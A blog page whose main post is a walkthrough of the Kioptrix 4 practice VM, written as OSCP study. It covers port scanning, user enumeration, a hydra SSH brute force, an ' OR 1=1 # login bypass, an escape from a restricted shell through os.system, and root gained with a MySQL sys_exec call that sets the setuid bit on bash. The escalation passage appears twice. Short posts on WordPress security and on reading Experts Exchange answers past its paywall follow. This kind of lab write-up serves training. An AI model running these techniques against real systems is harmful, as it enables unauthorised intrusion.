Kioptrix Level 1.3 (VM #4) Walkthrough

In my efforts to self-study in preparation for the OSCP certification later this year, I’ve been going through some of the intentionally vulnerable Virtual Machines (VMs) on to sharpen and broaden my penetration testing and hacking skills. Among others I’ve completed, the Kioptrix series of VMs is allegedly similar to what you see in the actual OSCP test, so I’ve been going through them in order.

Part of completing the OSCP is providing a write-up of your hacking adventures to explain how and what you did to hack a server, so I figured I better start now. Other folks do similar write-ups on the VMs on, and I’ll see if they will add this to Kioptrix 1.3 page soon.

Hopefully, someone will find this useful either way.

It should be noted that this VM was known to have at least two possible paths to getting root on the system, and this writeup outline just one.


On my local network, this VM turned up with the IP address of


Running an nmap scan revealed some open ports and running services:

root@kali:~# nmap -v -sS -A -T4
22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1.2 (protocol 2.0)
| ssh-hostkey: 
| 1024 9b:ad:4f:f2:1e:c5:f2:39:14:b9:d3:a0:0b:e8:41:71 (DSA)
|_ 2048 85:40:c6:d5:41:26:05:34:ad:f8:6e:f2:a7:6b:4f:0e (RSA)
80/tcp open http Apache httpd 2.2.8 ((Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch)
| http-methods: 
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch
|_http-title: Site doesn't have a title (text/html).
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 3.0.28a (workgroup: WORKGROUP)

Running: Linux 2.6.X
OS CPE: cpe:/o:linux:linux_kernel:2.6
OS details: Linux 2.6.9 - 2.6.33

Poking Around

Checking things out by hand based on the nmap scan results, I found there was a login page running on port 80 at

No basic SQL injection working from any initial attempts.

Nothing in the source code of note. Some other basic manual fuzzing and poking around didn’t reveal much either.


Nikto turned up some basic stuff about Apache that I thought might be worth looking into later:

Server: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch
+ Retrieved x-powered-by header: PHP/5.2.4-2ubuntu5.6
+ PHP/5.2.4-2ubuntu5.6 appears to be outdated (current is at least 5.6.9). PHP 5.5.25 and 5.4.41 are also current.
+ Apache/2.2.8 appears to be outdated (current is at least Apache/2.4.12). Apache 2.0.65 (final release) and 2.2.29 are also current.

dirb and dirsearch

A basic dirb scan turned up a directory:

I though that could be a username. Running dirb with a bigger wordlist (big.txt in Kali) turned up another one:

Both of those directories contained a file (robert.php and john.php) that, when clicked, would just redirect you back to the main login page.

I also ran DIRSEARCH, a python tool that also works well for finding directories and files.
found file: database.sql

(Note: Dirsearch is not included in Kali by default. Requires you to setup Python 3 in a virtual environment to run it.)


Since ports 139 and 445 were being used, I went on try enum4linux

root@kali:~# enum4linux -a
Starting enum4linux v0.8.9 ( ) on Thu Feb 9 00:40:35 2017

<em>(Pasting only the relevant stuff here.)</em>
| Enumerating Workgroup/Domain on |
[+] Got domain/workgroup name: WORKGROUP

| Nbtstat Information for |
Looking up status of
 KIOPTRIX4 &lt;00&gt; - B &lt;ACTIVE&gt; Workstation Service
 KIOPTRIX4 &lt;03&gt; - B &lt;ACTIVE&gt; Messenger Service
 KIOPTRIX4 &lt;20&gt; - B &lt;ACTIVE&gt; File Server Service
 ..__MSBROWSE__. &lt;01&gt; - &lt;GROUP&gt; B &lt;ACTIVE&gt; Master Browser
 WORKGROUP &lt;1d&gt; - B &lt;ACTIVE&gt; Master Browser
 WORKGROUP &lt;1e&gt; - &lt;GROUP&gt; B &lt;ACTIVE&gt; Browser Service Elections
 WORKGROUP &lt;00&gt; - &lt;GROUP&gt; B &lt;ACTIVE&gt; Domain/Workgroup Name

MAC Address = 00-00-00-00-00-00

| Users on |
index: 0x1 RID: 0x1f5 acb: 0x00000010 Account: nobody Name: nobody Desc: (null)
index: 0x2 RID: 0xbbc acb: 0x00000010 Account: robert Name: ,,, Desc: (null)
index: 0x3 RID: 0x3e8 acb: 0x00000010 Account: root Name: root Desc: (null)
index: 0x4 RID: 0xbba acb: 0x00000010 Account: john Name: ,,, Desc: (null)
index: 0x5 RID: 0xbb8 acb: 0x00000010 Account: loneferret Name: loneferret,,, Desc: (null)

user:[nobody] rid:[0x1f5]
user:[robert] rid:[0xbbc]
user:[root] rid:[0x3e8]
user:[john] rid:[0xbba]
user:[loneferret] rid:[0xbb8]

| Share Enumeration on |
WARNING: The "syslog" option is deprecated
Domain=[WORKGROUP] OS=[Unix] Server=[Samba 3.0.28a]
Domain=[WORKGROUP] OS=[Unix] Server=[Samba 3.0.28a]

Sharename Type Comment
 --------- ---- -------
 print$ Disk Printer Drivers
 IPC$ IPC IPC Service (Kioptrix4 server (Samba, Ubuntu))

Server Comment
 --------- -------
 KIOPTRIX4 Kioptrix4 server (Samba, Ubuntu)

Workgroup Master
 --------- -------

[+] Attempting to map shares on
//$ Mapping: DENIED, Listing: N/A
//$ [E] Can't understand response:
WARNING: The "syslog" option is deprecated
Domain=[WORKGROUP] OS=[Unix] Server=[Samba 3.0.28a]

| Password Policy Information for |
[E] Unexpected error from polenum:
Traceback (most recent call last):
 File "/usr/bin/polenum", line 33, in &lt;module&gt;
 from impacket.dcerpc import dcerpc_v4, dcerpc, transport, samr
ImportError: cannot import name dcerpc_v4
[+] Retieved partial password policy with rpcclient:

Password Complexity: Disabled
Minimum Password Length: 0

S-1-22-1-1000 Unix User\loneferret (Local User)
S-1-22-1-1001 Unix User\john (Local User)
S-1-22-1-1002 Unix User\robert (Local User)

enum4linux complete on Thu Feb 9 00:40:51 2017


I ran acccheck on the ‘robert’ user with the big.txt pw list, to no avail. Can circle back to try the other usernames if needed.

THC Hydra

You can use Hydra to brute force FTP, SSH, POP3, and SMTP account. Let’s try Hydra with those usernames to find SSH accounts! Trying the usernames found via acccheck with SSH logins:


hydra -L users -P 10_million_password_list_top_100000.txt -t 4 ssh -vv

Nothing turned up! Bummer.


This was found during discover with dirsearch, and it appears to be a short MySQL dump file. Since other avenues were turning out to be fruitless, I thought I’d give this a closer look.

Immediately, the first thing to note is that there’s a username and password shown in the dump file.


Let’s try it on the HTML login form at No luck!
I thought maybe that was a default password, so I tested it on the other known users as well (robert, root, loneferret), but still no luck.

Perhaps it’d work with SSH or SMB?

The file at least led me to believe MySQL was in place, so perhaps some more SQLi exploration would help.

After a number of failed attempts and errors by trying various SQL injection strings, using this worked:

Username: john
Password: ' OR 1=1 #

That took me to the User Admin Panel and showed the actual password.

That seemed kinda easy. But this is when things got hard, actually.

I logged out and confirmed that the password worked. It logged me back into that same page. But what good is that? Let’s try SSH again!

Shell obtained. However, the shell seemed to be extremely limited. As instructed at login, typing ? or ‘help’ gets you a list of allowed commands:

I was warned about trying to cd into the root directory, and getting kicked out if I tried again.

lpath is the same as pwd.

The only available command that looks somewhat useful is echo. Let’s see if we can echo the contents of .profile

Uh oh. It really did kick me out! Luckily, all I had to do was reconnect via SSH. Let’s try a different file:

Bummer. How about getting around now that we know it is possible to simply re-log via SSH if you get kicked out? No luck.

Must break out of the restricted “LigGoat” shell. To the Google!

Searching for “escape restricted shell echo” I found a handy article:

Trying a number of things, I finally found the right trick, which is to use Python to switch shells:

echo os.system("/bin/bash")

That was weird, but it worked, and I got a less restricted shell. This website was of much help to find the specific command needed:

Finally, a useful shell. Well, more useful. It still seems to be a basic user account with no real privileges. So where to next? MySQL exists and can be leveraged to take over a box under the right circumstances, so before exploring other vectors, I decided to start with it.


Revisiting the web directory and the application running on the website, I found a handy SQL statement in checklogin.php. This statement had the mysql connection string, including the username and password, which were simply:

user: root
pass: (empty)

That suggested the root password was never changed when MySQL was installed, so this was probably a default installation with few tweaks or security enhancements. Sure enough, I was able to log in:

Things got off track for a while here, as I wasn’t really sure what to do from this point. However, this Google search helped me:

mysql root pwn server

That led me to a Facebook post, of all things:

It described the situation perfectly:

“We may have MySQL root access but not system root access for a number of reasons including having a shell account on the target whilst MySQL’s root user has been left unpassworded by default, or alternatively gaining access via SQL injection through a web application connecting to the database as root, which is something I see far too often.”

The necessary lib file was already at /usr/lib/ which meant I didn’t need to grab it from sqlmap and upload it to the system.

Modifying those instructions a little, there was no need to compile a c script (which I was unable to do as user ‘john’ anyway.

Where that article has this line:

select sys_exec('id &gt; /tmp/out; chown npn.npn /tmp/out');

Just do this instead:
select sys_exec('chmod u+s /bin/bash');

Then drop out of MySQL and run this:
bash -p

It should drop you into a root shell!
cd /root

cat congrats.txt
It described the situation perfectly:
"We may have MySQL root access but not system root access for a number of reasons including having a shell account on the target whilst MySQL’s root user has been left unpassworded by default, or alternatively gaining access via SQL injection through a web application connecting to the database as root, which is something I see far too often."

The necessary lib file was already at /usr/lib/ which meant I didn't need to grab it from sqlmap and upload it to the system.

Modifying those instructions a little, there was no need to compile a c script that changes users.

Instead of this line:
select sys_exec('id &gt; /tmp/out; chown npn.npn /tmp/out');

Just do this:
select sys_exec('chmod u+s /bin/bash');

Then drop out of MySQL and run this:

  Ø bash -p

It should drop you into a root shell!

cd /root

cat congrats.txt

Root obtained. Mission complete!


Are You Putting Your WordPress Site at Risk?

WordPress as a platform has been a solid, secure application over the years. The few times a vulnerability has been found, the WP team has been super-fast to patch it, publicize it, and take care of business.

That said, there are two major areas where WordPress lacks in security:

1. Plugins

2. Administrators

There are so many plugins for WordPress, which is part of what makes it so great. However, those plugins can also present attack vectors, and we see evidence of this almost every day.

It was just revealed that most WP users have very little understanding of the risk they are lending to their own websites. Not updating plugins, not updating WP itself, and not doing backups, are the most easily fixed things that people tend to not do.

This puts WP websites at risk, lets them get hacked, and gives WordPress as a whole a bad wrap.

The survey of 503 WordPress users, which took place online during February this year, revealed that WordPress users are more exposed to security problems than expected. In total, 54 percent of respondents said they updated WordPress between once a week and every few weeks, and yet only 24 percent back their websites up — and only 23 percent have received training in the use of tools such as backup plugins.


On that note, I thought I’d mention that the most popular SEO plugin for WordPress, Yoast’s WP SEO, has a new, major vulnerability in it. GO UPDATE!

Hacking Experts Exchange

Over the years, Experts Exchange has become quite the repository of tech advice, where people go to ask questions, then the experts compete to give the best answer and win the asker’s vote.  It’s a pretty slick system, I suppose, if you are an ‘expert’, and your goal in life is seeing your username at the top of a list on their site, or if you have a question and have been unable to find an answer to it on any of the completely free message boards across the internet.

Whatever your reason for paying the fee to join their site, you have probably run across one of their pages if you have been searching for answers to a technical problem online.  Their search engine placement has been historically good for a wide variety of key words and phrases.

A Bit of History

You have also probably run across Expert Exchange’s efforts to protect their paid content from the casual observer. If you are like me, you have seen them at the top of a search results page, cussed them out in your head, then moved on to the next result.  That is because you know they often seem to have people asking the exact same thing you are in search of, and they seem to have people who have provided answers/solutions, but when you go there you are asked to pay to see the answers.  But being the freebie seeking geek you are, you haven’t ever signed up for their site.

I remember that it used to be they would obfuscate their experts’ answers to a question with Javascript.  That worked for a few minutes, until Firefox gained popularity and it became really easy to turn off Javascript.

For a long time, I thought that they had ended up removing their experts’ answers altogether.  However, I learned that Experts Exchange is using a simple visual cue to make you think this so that you won’t find the coveted content for which they take great lengths to protect (and charge you $12.95 a month for access to).

The Hack

The secret is, if you just keep scrolling down the page, you will see all the answers to the question at the top of the page!  What they do to make you think there is nothing there is show several empty bars of “Expert Comment” and “Accepted Solution”, followed by a “Sign up to view this solution” section, making you think the content is hidden.  Below that, you will see a ton of “footer links”, making you think you are at the bottom of the page. However, keep going, and you will find the hidden pot o’ gold.

Why would they do this?  Because they need Google to be able to crawl their content so they can maintain the excellent search engine placement they usually have.  If they only showed the question, and not the answers, they would have much less worthy text to index, so it really behooves them to have that text shown somewhere in plain view. Obfuscating it with Javascript or CSS will only end up hurting them because Google looks at those things as ‘trickery’ due to the fact that they can be used for keyword stuffing.

This isn’t to say I don’t advocate paying for their service.  I actually had the company I used to work for pay the fee a few years ago, but didn’t find myself using it that much, so I didn’t ask them to renew it.

In summary, scroll scroll scroll your way to the bottom of the page when you find an Experts Exchange result while troubleshooting on the Internet.